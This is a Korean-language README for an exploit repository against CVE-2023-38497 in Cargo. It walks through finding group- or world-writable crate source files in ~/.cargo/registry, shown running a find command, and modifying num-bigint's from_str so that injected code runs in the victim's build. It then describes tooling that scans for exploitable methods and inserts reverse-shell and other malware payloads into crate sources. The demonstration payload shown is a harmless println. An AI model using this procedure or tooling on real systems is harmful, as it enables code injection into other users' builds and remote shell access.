
Cargo exploit from CVE-2023-38497
cargo 버전 1.7.0의 새로운 취약점이 발견되었습니다. 자세한 내용은 여기에서 확인하세요.
먼저 cargo 버전이 취약한지 확인해야 합니다.
cargo --version
cargo 프로젝트에 다음과 같은 src/main.rs 파일이 있다고 가정해 보겠습니다.
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
프로그램을 실행하면 다음과 같습니다.
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
여기서는 문제가 없습니다.
다음으로, 시스템에 설치된 모든 크레이트 중에서 권한이 잘못 설정된 것, 즉 그룹이나 다른 시스템 사용자가 쓸 수 있는 것을 필터링합니다.
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
이렇게 하면 취약한 모든 Rust 소스 파일 목록이 출력됩니다. 이 중에서 공격에 적합한 파일을 선택하세요. 선택한 파일은 대상 cargo 프로젝트의 소스 코드에서 사용되는 메서드가 정의된 파일이어야 합니다.
위 목록에서 다음과 같은 취약한 파일을 찾았습니다.
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
앞서 언급한 대로 이 파일의 권한은 다음과 같습니다: -rw-rw-r--
따라서 cargo 프로젝트 소유자와 같은 그룹에 속한 모든 사용자가 수정할 수 있습니다. 무서운 일이죠. 하지만 모든 사용자가 해당 파일을 쓸 수 있다고 상상해 보세요. 실제로 그런 권한을 가진 크레이트가 존재합니다.
이제 시스템에 새 사용자를 추가하거나, 대상 파일의 사용자와 같은 그룹에 속한 프로젝트 사용자 이외의 기존 사용자를 사용할 수 있습니다. 예를 들어 내 시스템에서 해당 소스 파일의 소유자와 그룹은 다음과 같습니다.
atreides people
그리고 제가 가진 다른 사용자의 id 명령어 출력은 다음과 같습니다.
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
이제 사용자 bob이 대상 파일과 그와 같은 권한을 가진 다른 파일을 쓸 수 있다는 것을 알았습니다. bob으로 전환하여 계속 진행합니다.
추측 게임을 살펴보면 BigInt 구조체의 from_str 메서드가 사용되고 있음을 알 수 있습니다. 이 메서드는 살펴볼 가치가 있습니다.
대상 파일에서 다음 코드 조각을 추출했습니다.
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
이제 이렇게 수정하면 어떻게 될까요?
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
대상 디렉터리를 정리한 후 다시 실행합니다.
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
와! cargo 프로젝트를 작성하는 중에 다음과 같은 메시지를 받는다고 상상해 보세요.
이 현상은 대상 디렉터리가 이전에 삭제된 경우에만 발생합니다. 즉, 소스 파일을 수정한 후 cargo가 크레이트를 다시 컴파일해야 합니다.
지금까지는 이 취약점을 악용하는 방법에 대한 데모에 불과합니다. 하지만 소스 파일 안에 어떤 종류의 페이로드를 넣을 수 있다고 상상해 보세요. 이 저장소의 목표는 사용자가 cargo 프로젝트를 실행할 때 사용자 계정으로 리버스 셸 연결을 설정하는 것입니다.
cargo가 루트 권한으로 설치될 수 있고, 그렇게 되면 삽입된 페이로드가 해당 권한으로 실행될 수 있기 때문에 이는 매우 심각한 취약점입니다.
이 프로젝트에서는 다음 유틸리티를 찾을 수 있습니다.
로컬 cargo 아카이브와 대상 cargo 프로젝트를 검색하여 대상 소스 코드에서 악용될 수 있는 모든 특정 메서드를 찾습니다. 특정 메서드를 악용하려고 하거나 대상 cargo 프로젝트에 대한 읽기 권한이 없는 경우 공격 파이프라인에서 vanalyzer를 건너뜁니다.
./vanalyzer/run.sh <target-project-path> <target-username>
대상 크레이트 소스 코드 내부에 배치할 수 있는 모든 페이로드 유형(주로 리버스 셸 및 기타 악성코드)입니다. 현재 사용 가능한 페이로드는 다음과 같습니다.
취약점 분석기를 실행하고 위에 나열된 페이로드 중 하나와 취약점 분석기에서 선택한 악용할 메서드를 받아 페이로드를 소스 코드에 통합(복사 및 붙여넣기)하는 모의 셸입니다.
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>
ok